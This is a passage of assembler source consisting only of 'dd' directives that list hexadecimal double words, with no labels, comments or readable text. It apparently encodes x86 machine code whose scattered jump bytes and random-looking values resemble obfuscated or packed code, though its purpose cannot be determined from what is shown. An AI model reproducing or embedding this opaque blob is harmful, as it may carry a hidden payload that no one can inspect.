6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh, 694B9213h dd 0DE8h, 1EE68700h, 3CD7450Dh, 0BF964918h, 82B91CAEh dd 595762DFh, 0CBB70FF9h, 0D6B70F60h, 3820Fh, 0BF0F0000h dd 6E961D3h, 71000000h, 0F10CA10Ch, 0F08093h, 0E9DE8B66h dd 13h, 362576E0h, 0F9E59928h, 0B34E19E5h, 94C68E1Dh, 669D1B4Bh dd 0A64BF381h, 4038AABBh, 66FC6006h, 99E2C881h, 66DCB261h dd 0E9E670BBh, 0Ah, 0EB461CB9h, 2419AB1Fh, 0BF606E53h dd 1D29A56Bh, 0DE8B6661h, 7D29BF66h, 80C1B70Fh, 810F05E9h dd 3, 51D2BF0Fh, 5EC9BF0Fh, 8AFA8B66h, 8AF08BE6h, 0E9E18AD0h dd 0Ah, 0C59896B8h, 0A3B11726h, 8F0FFCA4h, 17h, 0FE8h dd 0A95BF000h, 0DB51B2CCh, 0CC40E09h, 9F2E818Ah, 665BC68Bh dd 52A168BEh, 8B66F85Bh, 0CE8DAh, 39BF0000h, 3567A95h dd 520782E1h, 0C58ADA10h, 0DE8B665Ah, 0C800Fh, 800F0000h dd 6, 140AF681h, 66F916EAh, 0F5A9CBFh, 0F8Fh, 0AE900h dd 887B0000h, 819778Bh, 1361A4B6h, 0B6B9B966h, 0F23E780h dd 383h, 0D6B70F00h, 0D6B70FF8h, 0FB8B6660h, 0BE5566B8h dd 0EE81612Bh, 591D2AA0h, 5157FFB3h, 5B5AD98Ah, 0E1816660h dd 0E8810E6Ah, 427B21Ch, 11E861h, 0E62B0000h, 302468FAh dd 99DB41C8h, 0FAA7C8E6h, 6632943Fh, 0F58F38Bh, 180h, 0B70FF900h dd 10E8FAh, 0DE6C0000h, 0E76A7EA0h, 7D3501D5h, 6DA78135h dd 0FE91DF9h, 71000000h, 3457DB07h, 4F6066CFh, 7CEDB924h dd 0B85E7D51h, 73943C9Dh, 512A73B9h, 0B5CB8B34h, 51ACB548h dd 5FFAC680h, 3716B966h, 2820Fh, 0BFB00000h, 3DCDBA66h dd 0BE9h, 0F5B82A00h, 72D8F588h, 6B05611Eh, 0BF08166h dd 5E96079h, 98000000h, 0D16D4F9Fh, 0E2816660h, 0B70FE125h dd 0F6161DAh, 189h, 0B70FF900h, 0D08166C9h, 8166B87Eh dd 0F4BD7C3h, 13E8D7BFh, 4B000000h, 7646D1B5h, 0D2317733h dd 22CED9D8h, 924E3663h, 9CBA0DB8h, 5A43BC22h, 0EDFBBA66h dd 3E85EE81h, 6FB83531h, 0F598894h, 28Dh, 81D58A00h, 352C33D9h dd 0BB66F85Bh, 0DE9006Eh, 0B4000000h, 0EBFDB109h, 0CA30B62Ch dd 62786264h, 28E0Fh, 0F28B0000h, 663BE080h, 0A88ACA81h dd 10E96060h, 93000000h, 0E2FA201Ch, 71A12BCDh, 2A2E923Ch dd 812F7590h, 0BD9929E9h, 0E861613Bh, 0Eh, 0EAC77D3Fh dd 66021C15h, 68030F3Dh, 0B55AC097h, 12E9B2h, 6EA90000h dd 15CE424Fh, 242AFA98h, 0D726056Ah, 0C23DCB67h, 5DB9A9BAh dd 6E860h, 0B1E50000h, 0DE090B81h, 6659EF8Ah, 8B21E881h dd 0D3802BB6h, 0D98B665Dh, 11E9h, 0B2446E00h, 0CA0A14F9h dd 0E34262D6h, 0C61E9144h, 830F8624h, 3, 0F5DABF0Fh, 53F88B66h dd 7FD18166h, 840F5EE2h, 2, 8B66D08Ah, 0BB93BBD1h, 0D08A0C91h dd 2870Fh, 0F1B30000h, 56CA8B66h, 0CE9h, 8E289500h, 0F686A82Bh dd 0EDEDD001h, 0EE85828h, 4000000h, 6F21A31Ch, 1A71D720h dd 0A38FA60Fh, 8B5BF82Ah, 0B8E0FFBh, 0F000000h, 58Fh, 0AD34BE00h dd 800F4CD3h, 14h, 0FE9h, 1E403400h, 0B8255867h, 9F43ED76h dd 3EED1340h, 0C8A0Fh, 870F0000h, 6, 820Fh, 0BE660000h dd 60B3E932h, 7840FF9h, 60000000h, 0F5E68166h, 8F0F6163h dd 4, 0FBCEB866h, 0B70FE18Ah, 38B0FF1h, 80000000h, 0DE933EFh dd 0D5000000h, 5CEB0D9Ch, 0C3C94CA0h, 0EA79C388h, 0A9E6B950h dd 0E85A1A7Ch, 9, 294D2BC9h, 698C478Dh, 0F28B66A6h, 830F575Fh dd 15h, 10E9h, 0CA138700h, 2C0AAE45h, 0C935B547h, 0B83E269Ah dd 5E85F29h, 0E5000000h, 0E043608Ah, 7335F381h, 0E9596E46h dd 14h, 0FDC6D9A0h, 4658729Ah, 0E20C1C1Fh, 0FEC4705Fh dd 2E477F74h, 3E09B966h, 14E9h, 0D88C0800h, 24554303h dd 9B14984Fh, 431F11Ah, 2DC31C24h, 9E8E4h, 7E7C0000h, 0D5C7BE2Eh dd 8A60DCE1h, 0FE95FC7h, 0A2000000h, 4F3A05F6h, 734561DEh dd 99303BE5h, 13E87D9Dh, 0D8000000h, 955BAC05h, 0B3C2C4B4h dd 86050A51h, 0CA755D89h, 5B5126B7h, 0DF8B665Bh, 6E9h dd 0C224100h, 0E91F9F28h, 0Dh, 0C7DD10ABh, 0C94F3B0Ah dd 44E1ED7Ch, 40D280EFh, 1B89EE81h, 0B8665546h, 820FEB9Ch dd 4, 585F5352h, 0CE95251h, 0C2000000h, 41841A64h, 0BA479BFFh dd 5E3F91C7h, 0C3B70F5Ah, 8E0FCA8Ah, 2, 7E9CEB0h, 0D000000h dd 61BF4F81h, 0BE601554h, 2416D459h, 61F2B70Fh, 0FF28B66h dd 0B160C6B7h, 0E961F832h, 14h, 7536A8FBh, 5E2743F5h, 0E64A60BBh dd 23F6A8BBh, 60CD298Dh, 880Fh, 0BB660000h, 8B5735CFh dd 12E95FDEh, 0EA000000h, 6F669453h, 1C3DB5DFh, 0E23225AAh dd 867EA415h, 0D281667Ch, 11E9F236h, 0 dd 31A36CDEh, 89DAFD86h, 0FC4E98B9h, 2362517Bh, 12E8h dd 8D308F00h, 0B7257168h, 0F648086Bh, 0F5AE3683h, 60DC0B2Eh dd 5EF78166h, 0D78B6648h, 66F85961h, 0E9B617B9h, 6, 96E8136Dh dd 8B66F7C8h, 6C92BAF9h, 0DB813C94h, 0D7279E9h, 0B8665650h dd 5E5A9596h, 6E9FCh, 7BA20000h, 73D2E8Fh, 81D78B66h, 0A57EE6E8h dd 0D3816610h, 0A0BB3BFAh, 813937BEh, 72247C8h, 5E9FC4Fh dd 0F4000000h, 0DABB2858h, 0AE953h, 92EC0000h, 4F8A3AFEh dd 60F2FD2Eh, 97B96659h, 6E86054h, 0E8000000h, 0C32629B4h dd 13E9FFh, 3D980000h, 0EEB07C1h, 98D0A696h, 0C101E9AFh dd 0EB80DE3h, 8B6659C5h, 0F6BE61D3h, 605F99C1h, 3EA1B966h dd 32BF6652h, 80615E2Ch, 0BE9AEDBh, 82000000h, 0BC1CEF36h dd 0E37FF0DEh, 665100B3h, 0D6ADF681h, 11E85Eh, 0D0620000h dd 74392C44h, 0E7C47750h, 0D3C0BDDFh, 0F55625Bh, 0B45AD8BFh dd 0E9BE66C6h, 0B1F18A76h, 0AE929h, 6BDF0000h, 26801BB0h dd 4BD551A4h, 0EE9h, 1B341300h, 75E06334h, 0DA76AFFFh dd 0B93406D4h, 22927CC7h, 5BB6660h, 0EE81613Bh, 70FCC89Ah dd 0DE8h, 4349AF00h, 7BF963DBh, 9598FBCh, 0C681346Ch, 278752Ah dd 11E959h, 0CC070000h, 0F0E38ED0h, 3C34164Ah, 0A8228547h dd 500DF317h, 38C0Fh, 8B660000h, 0E3805ED6h, 890F60A1h dd 2, 56536160h, 60615B5Bh, 9B8491BEh, 0CE855h, 16510000h dd 1D28AAC1h, 0F8A325E5h, 8B66982Fh, 0F615BC8h, 8166FABFh dd 66EDCBD8h, 0DA81D78Bh, 6EF4F29h, 59FE8B56h, 0C59C1BB8h dd 61606072h, 0F081FC61h, 7A2B700h, 0B1F78B66h, 9E88Bh dd 0FCE00000h, 0DCCA9805h, 539E2703h, 0FE9h, 7A06A200h dd 0D9C838D9h, 0A076B55Eh, 8CE38AA6h, 0F525959h, 48Fh dd 3DBE6600h, 13E95AF2h, 0F7000000h, 34BDABE3h, 0E7046A9Dh dd 384FC49Fh, 722BE86Eh, 0BFF9805Fh, 1D446F97h, 38A0Fh dd 0B70F0000h, 0FD88BD7h, 79BAD1B7h, 811F93D1h, 0AC7942CAh dd 6E87Fh, 0C2190000h, 57295776h, 13E857h, 0F55C0000h dd 0A2ED6F24h, 756E6F8Fh, 7426501Dh, 0FCED3927h, 585B5980h dd 0F8FCC80h, 8166FFB7h, 66C777D8h, 4AF1C681h, 271CF781h dd 90BF1531h, 81401068h, 8A83B9D9h, 10E96069h, 0B9000000h dd 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 662E2DFDh, 616BB3BAh dd 86D780F8h, 8F0Fh, 68B10000h, 7DD78166h, 3BEE80ABh, 0B78EB0F5h dd 0E68A6007h, 10E861FCh, 0C000000h, 9BE4E7D3h, 1876FDCAh dd 0E8E54E73h, 59A14268h, 0FEB9B866h, 14E9h, 0D5285200h dd 5814978Ch, 5AA2A648h, 3E019C29h, 949F77E1h, 26BB66D2h dd 2820F16h, 0B5000000h, 8E8BBh, 1B920000h, 3C5073BAh dd 665B8DC3h, 0ED30CB81h, 0C3BF0F60h, 12E961FCh, 0EE000000h dd 8F6F9639h, 95296D2h, 1A064257h, 23F13C7Eh, 12E9B6h dd 21680000h, 7BD6F5C6h, 3758C93h, 0B90E24CEh, 0AE40A427h dd 0DBEAA2BFh, 0CE816646h, 8B664E24h, 11E8FCF0h, 5C000000h dd 9D59CBB3h, 0C5F186BDh, 5B692BB5h, 25497930h, 0FD27BB66h dd 0CE95Eh, 80280000h, 92C2DDEDh, 2B3DAA64h, 0BF0F6FB1h dd 0FB960D7h, 66407DE2h, 0F61D98Bh, 281h, 0E838B400h, 9 dd 1E77AA86h, 154EE36Ch, 5B53B618h, 13E8h, 0D682B600h dd 1ED6DEEAh, 7222373Dh, 64D3630h, 5E8B01D3h, 68D0Fh, 8C0F0000h dd 0 dd 58F5565Eh, 13E9h, 0D90B3100h, 398F9C8Fh, 9E7A0DC5h dd 4C3C8B8Fh, 1A456A5h, 0FD1F1FBAh, 7E936h, 0BDCC0000h dd 4750FBFh, 1770B898h, 0BF0F7209h, 0CE9F6h, 0E3D90000h dd 0F59743A5h, 944B4F6Dh, 0BA666DBEh, 840F829Ah, 11h, 0CE9h dd 87FDF500h, 964F6285h, 0E8C06C35h, 51F28BBDh, 18D0Fh dd 5EF50000h, 0B1C3BF0Fh, 7E95Ch, 22F40000h, 200F4401h dd 0D38B6637h, 69B8D6B1h, 666BC134h, 0F0E74BFh, 0D180FFBFh dd 94C681EEh, 0E95AF0B7h, 0Ch, 57BF5544h, 0D0962028h, 8A96DA68h dd 0BF0FF08Ah, 59FC56D1h, 13E94CB3h, 9C000000h, 0DD1B8BECh dd 0D0536650h, 0AEB82D8Fh, 4BE88E07h, 0AE9D52Fh, 73000000h dd 0FF45A5D5h, 4CC9FFh, 3CBE66DEh, 14870F63h, 0F000000h dd 0E8Dh, 9E900h, 28450000h, 4E6ADF1Eh, 0E8B867BEh, 12h dd 2132AAB3h, 780E3568h, 0A1759A3Eh, 0A3EFE31Bh, 8B66274Ah dd 0FA8B5ED9h, 9890Fh, 66600000h, 66E03DB8h, 0BB61F08Bh dd 4C883149h, 616CD181h, 816657E2h, 0F9CC8EE0h, 0C3C28166h dd 0E89CB78Ch, 10h, 208144D3h, 0E958EBA9h, 8DB5AFD4h, 92DDFD9Bh dd 0DE95AFCh, 0B1000000h, 2A8B1D5Eh, 0F147F80Bh, 0BA1877D4h dd 0E9C7BF0Fh, 14h, 51BCC56Eh, 7DE8803Dh, 1D68D90Ah, 0A1401DA5h dd 7C6F0DF8h, 0CE8D18Bh, 0BD000000h, 118D7B58h, 0F3511AFBh dd 818EEB87h, 0E3E45CC1h, 890F5E71h, 5, 0CBF68166h, 0C9B960BFh dd 81028D88h, 92760DDFh, 8B66617Ah, 0DA8166CBh, 0D78B76CEh dd 0FC8BF0Fh, 0B84h, 5810F00h, 0B9000000h, 7F7143F4h, 3830Fh dd 8B660000h, 8DD181D1h, 8B2A149Eh, 0CB8166F8h, 32BE3ED2h dd 66234F35h, 0C780D88Bh, 98B051E4h, 0B1FC8A59h, 880FF82Fh dd 4, 6127BA66h, 0C28EBA60h, 890F357Dh, 2, 0B9615E56h dd 323EBDA8h, 0A8C0Fh, 5E90000h, 0E0000000h, 0FD744458h dd 3AD18166h, 56BF66F4h, 0E953F512h, 5, 95922D99h, 0FA8B58E5h dd 10E9h, 0E341C000h, 0D865698Dh, 0B852FFC2h, 0A254C84Dh dd 95EE8170h, 0F526334Fh, 0AE9h, 521BEA00h, 57DA0BDCh dd 0E935DB9Dh, 9, 0F3EE7BDh, 4DCBD7FAh, 0CE849h, 0EB670000h dd 1E4990AEh, 0CD4A818Eh, 0FBBA9783h, 5B5108E3h, 307EEF81h dd 4DB8225Ch, 0BA5B9E14h, 266B5DFh, 346B966h, 9DE98160h dd 0E9732048h, 0Eh, 5157EE23h, 0ED48A5C6h, 573E7FD5h, 6661E5A1h dd 6617C2B8h, 0E89612BBh, 10h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh dd 34F8C2D3h, 0B742B866h, 0C7CBF5Bh, 0C1811721h, 7694B216h dd 128E0Fh, 0E9560000h, 0Bh, 16FAEC5Dh, 7A28C1A4h, 5FD00D6Bh dd 68F0Fh, 0DF810000h, 0D86867Eh, 9E9h, 7214A100h, 77E76C02h dd 0B70FD1D5h, 0FEB70FD1h, 9E857h, 0C39A0000h, 0EE29ACD3h dd 662A32FDh, 80FCC081h, 27BF585Fh, 66795E73h, 80CCCBB9h dd 0FA8B42C7h, 0D8CCEDBEh, 13E937h, 69030000h, 0CAE63B43h dd 0DF06C15Ah, 21DA2582h, 2C2FEC80h, 0C0B70F7Ah, 8E860h dd 0AC030000h, 2063F439h, 0CE9ED3Bh, 0F000000h, 1FA2DD8Dh dd 0E7669CD8h, 5FE409C1h, 10E95161h, 0FC000000h, 0CB667826h dd 36EEC0C2h, 664898E3h, 595D64DBh, 28A0Fh, 0F78B0000h dd 0DE8166FCh, 0BA609428h, 74C31A98h, 0ADD98166h, 0D98161D9h dd 6FBCEF9Dh, 0FE9F9h, 0E450000h, 5D065FC8h, 9415D25Ch dd 98594C10h, 0C68166EEh, 8B660CA9h, 0DF8B66D3h, 0B3B866FCh dd 10E9C2h, 772B0000h, 65C2CEB9h, 0D254B8A3h, 0AAAF433Dh dd 0A6B3B356h, 0DFB70F60h, 0D98061F5h, 0BF0F60B9h, 0BE860F2h dd 0B3000000h, 0E8AED3A5h, 5DFD1B6Bh, 61599641h, 0C2B70F61h dd 0E9D2B70Fh, 8, 7E37B9FEh, 0F6E2AD37h, 0D798B860h, 61F51C64h dd 0BE857h, 0CC9B0000h, 43C8384h, 23CE08C1h, 0BE9E5h, 9D460000h dd 0DA8FE7F4h, 0AB8D4503h, 0E95858B7h, 0Dh, 0F7666CF3h dd 0EED7A7DBh, 0ABCD6263h, 6E977h, 99A60000h, 2A10C2FBh dd 493DBB56h, 665A5803h, 0E96A3FB9h, 11h, 4BCB5538h, 489C3A60h dd 13F98B7Ah, 0DD7DCDF4h, 6660F512h, 32B6CA81h, 0DE9h dd 42768700h, 94BA222Fh, 0BC9BC6CFh, 6061FC2Fh, 0B302B866h dd 5880Fh, 81660000h, 617508E8h, 6E59E881h, 0B96605F3h dd 0B70F189Dh, 0E950B4FEh, 6, 9791EFA1h, 800F6183h, 5 dd 5BC28166h, 830FF5CBh, 2, 8B0FEB8Ah, 13h, 0EE9h, 16C32F00h dd 17E59733h, 0EC267866h, 0BA1BB755h, 1E7250BCh, 0E9C28B66h dd 0Fh, 2A86042Bh, 0F588F5B8h, 611E72D8h, 0BE466B05h, 0F3DDA2Bh dd 0BE9h, 0AF1CB000h, 0E81D7D8Dh, 65E319F0h, 11E8h, 9F966900h dd 0E3F4B9FDh, 19897A56h, 8B6E6DDAh, 0EEB2956Dh, 0FCB8B5Ah dd 386h, 0C9B70F00h, 2AAA07BEh, 8B66532Ch, 0CE95FF7h, 76000000h dd 486C7DC2h, 7243AA2Ah, 0F21AB47h, 0BF0FF3BFh, 0AE9FBh dd 56D10000h, 83783928h, 0AE91B490h, 2530B866h, 0B4C2B70Fh dd 0E9F8B21Ch, 0Ch, 3173D178h, 0C5D38AF6h, 0A9779B0Fh dd 8E960h, 72380000h, 845523BEh, 0C68B5DAAh, 0B70FF961h dd 5CEF81D2h, 0F3DAE7Eh, 280h, 0FC7FB200h, 25C1BB66h, 0B8A0Fh dd 870F0000h, 5, 9516EDB8h, 7E86025h, 68000000h, 9F644DFCh dd 0B6B2F3BBh, 8B666159h, 0C88166C1h, 0F38B8703h, 1830Fh dd 52F80000h, 815ECF8Ah, 98088FEFh, 2FBF661Bh, 0F8AB273h dd 68Ch, 0D6DF8100h, 0E97A9D0Eh, 0Ah, 0CD9FE6F6h, 28705306h dd 0BE99303h, 79000000h, 9BF7A6C7h, 0FD0041DFh, 0B8664F64h dd 0BB66D04Dh, 0FC57F260h, 0DE85Bh, 7E880000h, 8155CE82h dd 4815FEC7h, 8A5CAA7Dh, 0DE959DDh, 94000000h, 2E570565h dd 2EEF7815h, 129F05DDh, 8B0Fh, 0CA810000h, 190F3259h dd 0A73035B9h, 0C9CF8144h, 0F769AAEh, 98Bh, 8D0F6000h dd 0 dd 13E961F9h, 21000000h, 1BCCA0DCh, 87DC2E6Ch, 331021CAh dd 3BBA9369h, 8F0FFB1Fh, 0 dd 0FC9C880h, 880h, 800F5700h, 0 dd 0C1B86658h, 0F16B0C2h, 0D78BF8BFh, 0FE9h, 0E2E4E00h dd 0EF83A523h, 9D9A56C3h, 0EBD02FE0h, 0CE8h, 35DB9D00h dd 0B094751Fh, 84343E0Ah, 11E95E2Bh, 0C0000000h, 276A3E48h dd 0B814371Fh, 0FE0CD82Fh, 0EFA4240Ch, 0FD78C0BAh, 4761BA04h dd 8D0F2EC0h, 2, 8166CF8Bh, 0B72884F0h, 0E92EB3E8h, 6 dd 5776C219h, 81665729h, 817592C1h, 0A02E64DFh, 14E8523Fh dd 0D3000000h, 3A0AE4B8h, 5D1912FEh, 13C51F05h, 2BA79F00h dd 81991A33h, 8061BEDEh, 815E5B76h, 0E2342BC8h, 0E99CB818h dd 810F3242h, 5, 0E2E28166h, 6613B438h, 0DA36CB81h, 6D52F781h dd 0B86606EEh, 14E9C1DCh, 50000000h, 0D4675A68h, 8A8CD25Dh dd 984E1C01h, 0A3FF59CDh, 8BF4691Ah, 0B95B57D7h, 0D6B62FFh dd 8166F28Bh, 0FC49B9D1h, 0B1C2B0BFh, 24B86607h, 9E9C9h dd 3FB80000h, 0F7BEDE42h, 0F58C12A3h, 0FE9h, 1EFF9E00h dd 55F17664h, 12AB425Ah, 0BE148DA4h, 72C78153h, 5E38BA8Eh dd 8EEB8166h, 0DCC78148h, 0F01FA6Ch, 6E9DEBFh, 0C000000h dd 38C293F1h, 0CF8B66EBh, 0F5D9BF0Fh, 8A0FE68Ah, 5, 2E3343BAh dd 0D8B0F35h, 60000000h, 8D0Fh, 81660000h, 617B2ED1h, 0D7CA8166h dd 8AC28B3Bh, 66D681F9h, 66583E10h, 66E02EBAh, 5012EB81h dd 5860Fh, 66500000h, 0E959F08Bh, 0Eh, 0AB729F25h, 0B6E514E2h dd 42E4703Fh, 880FD8C5h, 0 dd 58DFD681h, 0DF811F6Ch, 264DD298h, 76ABC881h, 0BF0F2A62h dd 8EE080F6h, 0B966F78Bh, 0F5F9BFAEh, 0CB8166FCh, 0BF0F3F8Bh dd 0B0D7B8D7h, 8B667DEFh, 0E38166FBh, 810FDF88h, 5, 98D38166h dd 0E6816680h, 6660F8D0h, 0B813BCBEh, 40D69780h, 2D78161h dd 6636E05Eh, 0D078F381h, 14E9h, 0AD52B200h, 0FCB7208Fh dd 91BAA1B2h, 2E9CE0B4h, 42139F4Ch, 8074B46Ah, 9E9E1ECh dd 0E4000000h, 0A606A6h, 0C62D85A8h, 0A8DB8166h, 816660E2h dd 66EE18C2h, 8161C68Bh, 7EE04BE1h, 0AE91Dh, 1C6A0000h dd 1487D669h, 3CBAFA88h, 0AAD18166h, 0C3B70FEEh, 0A890FF9h dd 0E9000000h, 5, 0CBB5E5ADh, 0E4BE66EBh, 0F9BF0FEBh, 28D0F53h dd 60000000h, 81665A61h, 6641C1DBh, 0F2C66BBh, 0DE9FBBFh dd 83000000h, 0C74355E0h, 4DFB1280h, 0E290C79h, 0E0FFB866h dd 0F5E7B2F9h, 0DB8025B0h, 38C0F7Eh, 66000000h, 8F0FF88Bh dd 0Dh, 8E9h, 0AB009F00h, 9033A958h, 8830FC4h, 0F000000h dd 280h, 81A1B200h, 3ABD07F2h, 43C18169h, 0F902930Eh, 0BF0FD38Bh dd 3830FD7h, 80000000h, 0CE85FF7h, 0A3000000h, 87A2B5A2h dd 2CB269E0h, 80A2180Fh, 805E5AEEh, 0CE8B7D0h, 0EC000000h dd 0DE26BAC4h, 0D27E58BAh, 5374322Fh, 5FCFBF0Fh, 0EE95Ah dd 84220000h, 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0DE9h, 9F714200h dd 0CF3F5BEEh, 2182C3BBh, 0D08BCF58h, 1830Fh, 0B6FC0000h dd 18D681D0h, 605A2AFBh, 5E960h, 123E0000h, 807BB659h dd 666123E9h, 0EE54E181h, 96C5BE61h, 0AE93051h, 1A000000h dd 5A756D6Bh, 1A466DE2h, 0F78B603Eh, 5A12BB66h, 12E961h dd 0A0AD0000h, 1C437CB7h, 5DCC62B0h, 991CBA5Ah, 592B0521h dd 0B4EBC480h, 0B86660C5h, 0E961F05Fh, 0Ah, 61641FDEh dd 0BFF45553h, 0B70F7AFCh, 8E960D6h, 0CA000000h, 922ECE5h dd 61D65187h, 8C0F51F5h, 0 dd 3870F5Fh, 0F000000h, 6E9FBB7h, 0BD000000h, 41F020F2h dd 830F60B3h, 2, 0BB666160h, 6661DCDCh, 56A206BFh, 606BD281h dd 0F582430h, 8B0FD1B7h, 2, 9E9C28Bh, 0F000000h, 0C35979A0h dd 0B1D3F618h, 2B9DBF66h, 0DFB70F60h, 0B70F61FCh, 10E9C6h dd 0FB910000h, 1F1C009Ah, 0E0E2FF92h, 77191C3Ah, 0E9F91647h dd 0Fh, 0EC71F15Ah, 0B11F510Eh, 0AAB1AC3Bh, 66EF9A78h dd 8E9CE8Bh, 0B5000000h, 1F6381D9h, 662CFB53h, 81B9D3BFh dd 493C47C1h, 842ABB40h, 81666347h, 0BB3BC2F2h, 2C05A9E3h dd 0A5653CBEh, 8B3FB173h, 0BE9C2h, 0B6250000h, 0FD67697Fh dd 0E07409B1h, 0EE95Ch, 56F10000h, 0DC071C88h, 0CD07C3AEh dd 4C57C3FEh, 9DA4C181h, 0F5F97CABh, 12E9h, 0C1F14A00h dd 0EEBEF7F3h, 1ECB3244h, 7F678B18h, 66043090h, 494AC281h dd 9E957B2h, 50000000h, 0C6CDDF37h, 10073029h, 3840Fh dd 0B70F0000h, 0FFCF8D7h, 0A8Ah, 4840F00h, 66000000h, 668064BBh dd 0BB1A19B8h, 7A5E804Eh, 0AED28150h, 5E5597BFh, 13E8h dd 0B3AA3A00h, 0BED8E139h, 925C1DC9h, 7B541F0Eh, 84084749h dd 0DE8158F5h, 54D3991h, 0F28B66F5h, 2840Fh, 0A1B30000h dd 8E9h, 7516AD00h, 0CCD7D5h, 6810F5Eh, 81000000h, 0F66EDBCFh dd 4159BB3Bh, 81662C3Dh, 0FA233E3h, 58Ah, 0D1816600h, 0F38103C3h dd 1ED15E94h, 11E9h, 0A888A200h, 66115E5Dh, 4D84A682h dd 0CBECDCh, 0C681F527h, 5116AB96h, 0AE960h, 99350000h dd 0DE69B4A8h, 431D261Bh, 4F130CBEh, 2ABA617Dh, 0B86F3AEEh dd 2C4E2FACh, 1A84CB81h, 8E8195Ch, 30000000h, 3798C8A1h dd 60E81997h, 0D9F18166h, 61DF8BC6h, 5AF95258h, 5060FA8Bh dd 0EFF1C981h, 8B5F1C55h, 0E95261D3h, 6, 0DA9997B7h, 0E85F5FEDh dd 13h, 0DE16E434h, 0D723602Ah, 0C672107Ah, 0A8968800h dd 582A6F4Bh, 9CEE8166h, 6652FCF8h, 0BEDAC781h, 0E681665Fh dd 0CA81E6ADh, 289B6D72h, 95ECE881h, 8B6669FBh, 12E9FCD6h dd 71000000h, 17A04D00h, 5C1CBBBh, 658328Bh, 207F37F0h dd 0C38B6607h, 0FC0DD780h, 0BF66F78Ah, 11E8BA3Ah, 24000000h dd 0BB40B714h, 4FA64F72h, 6F7B428Ah, 785CE3DAh, 0C3815EF5h dd 261276CDh, 6E9h, 569CA800h, 0FC5DA64Dh, 12E8h, 0AD6F6400h dd 3066DFCAh, 29DCF81Ah, 131B317Eh, 0E971501Eh, 8, 7B51D260h dd 5EABAE94h, 6E85Eh, 95670000h, 9E64818h, 6E95BF8h, 0CE000000h dd 5D8F80FAh, 7E86Bh, 12F40000h, 0A17F9C7h, 18840FEBh dd 0E9000000h, 13h, 93B83829h, 9DDE13DBh, 41EDDCDCh, 6B45F06h dd 5ECC3914h, 79DF4B9h, 0A8F0F1Eh, 0E9000000h, 5, 0D5E76A7Eh dd 0BCD3B801h, 0DF8B7B2Eh, 0A401BE57h, 0E95A2628h, 13h dd 4ECDD7DCh, 98C45ADFh, 6AD4CE73h, 0A2C70555h, 0E8121731h dd 0Ch, 617654ECh, 3906036Dh, 90F0693Eh, 0EE39B3BBh, 0BEF85F19h dd 46905AC5h, 11E9h, 0FC3C1B00h, 0A32DD0C1h, 0BCDD8F00h dd 7C52FB89h, 8D0F312Ch, 6, 810Fh, 13E90000h, 2B000000h dd 0BE79AF68h, 54CA00F8h, 0D7025FA4h, 7CFEFC23h, 8BF5D3D8h dd 9E8DEh, 0DF0000h, 0D21441EBh, 5BB00EFDh, 0E8C78B66h dd 0Ah, 3AFE92ECh, 0FD2E4F8Ah, 816660F2h, 5B2BC6F0h, 5810Fh dd 81660000h, 66ED90E2h, 1674E081h, 9BAFBF66h, 0FDEBF0Fh dd 0BF0FD0B7h, 5E8CAh, 0A27D0000h, 0B9CB72FFh, 3C39782h dd 7FBE6658h, 82B8F9C8h, 0F4051E3h, 1983h, 14E900h, 835E0000h dd 6ADED69Eh, 0B0D89347h, 0A4CE838Eh, 0ED925579h, 0DE8B09A7h dd 3880Fh, 0BF0F0000h, 8ACE8AFEh, 0BE952C8h, 8B000000h dd 0EA64D265h, 9B11AD14h, 8B5F5861h, 0CE8C2h, 0E2090000h dd 28A5663Ah, 6333227Eh, 11E9F111h, 0CB000000h, 245BBD10h dd 960A9845h, 0EDE7F23Ah, 0B5D503EAh, 60B9665Bh, 14E981h dd 0A03C0000h, 26667D6Ch, 0E24713B2h, 0AE115658h, 0FBCD32DEh dd 6060F1D6h, 0EE8h, 3CA71A00h, 0B6DF9A48h, 2B610CB1h dd 5B50B265h, 5E8h, 2BF93300h, 615B20DDh, 0C8816660h, 6161C81Dh dd 0F5FF951h, 38Eh, 32C18000h, 11E984B5h, 2A000000h, 0DA9F3DF6h dd 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 0AE9F8F8h, 7C000000h dd 1A732439h, 6ED6AE59h, 3890FBEh, 66000000h, 6BB4CB8Bh dd 830Fh, 0DE90000h, 6A000000h, 531A2DD1h, 413C6E04h, 8D0EF047h dd 0E94FCD80h, 14h, 1FC84E4Ch, 0EDF0BCAEh, 92B5920Dh, 9725910Dh dd 6A2ED2F7h, 0D0B70FF8h, 9E9h, 9C8E5300h, 4B7EE35Ch, 0B866E875h dd 0D3B2C9FAh, 0FE8C68Ah, 0A3000000h, 6637247h, 0EB699B99h dd 0E1AA0098h, 0B70FABABh, 816659D3h, 0FE977EEh, 6E9CABFh dd 0D000000h, 0EB57389Eh, 8B2DBABEh, 0BF0F7FD7h, 0E0E0BAF7h dd 5E95B8Fh, 0B8000000h, 0D1C04B6Bh, 820FD68Bh, 0 dd 0E108C681h, 830F5126h, 3, 0E8C5EE80h, 12h, 0AF356B82h dd 0FDB3AE4Ch, 2CE1C5E5h, 0FAF8EE4h, 8166DFE5h, 58AC39C8h dd 50C5BEF9h, 0B70F56A5h, 68C0FC2h, 81000000h, 0C3153CEBh dd 0BF666013h, 0BE66E0DAh, 66614992h, 0F781F78Bh, 261939D7h dd 8E8h, 0C2131F00h, 513FDDB8h, 32C3817Eh, 595C2370h, 0E9F9CE8Ah dd 0Ah, 237F3031h, 3285D7E4h, 0CE97A82h, 3B000000h, 0B68F13BAh dd 46AA7FE1h, 6636C259h, 0F89EC4BAh, 2800F51h, 50000000h dd 80605A5Eh, 8B660CC3h, 8B6661D0h, 6C74BAF3h, 0DE87D42h dd 5000000h, 2927A4DCh, 9EC23187h, 0BAC4EC87h, 0BE86C181h dd 0F55A365Fh, 0E9FB8B66h, 5, 8FF4E522h, 8FC7BA81h, 0AB94019h dd 815707D9h, 0D65E34C6h, 13E8FC13h, 58000000h, 5CA94B52h dd 0BAF30E7Eh, 4CC0709Bh, 4EEA6669h, 4DB5103Eh, 0F0B96659h dd 840F569Bh, 4, 265BBE66h, 1D8F0F5Ah, 60000000h, 11E9h dd 2E4C2F00h, 5EC6687Ch, 0B2420B04h, 49E29EB7h, 0C7BA5838h dd 615F0EABh, 1830Fh, 0B3F80000h, 3BE58072h, 830F60F8h dd 0 dd 8161C68Ah, 937F28EBh, 0AE854h, 85340000h, 84A50AF1h dd 3D1C7EFAh, 6B09BF52h, 5E5A69CAh, 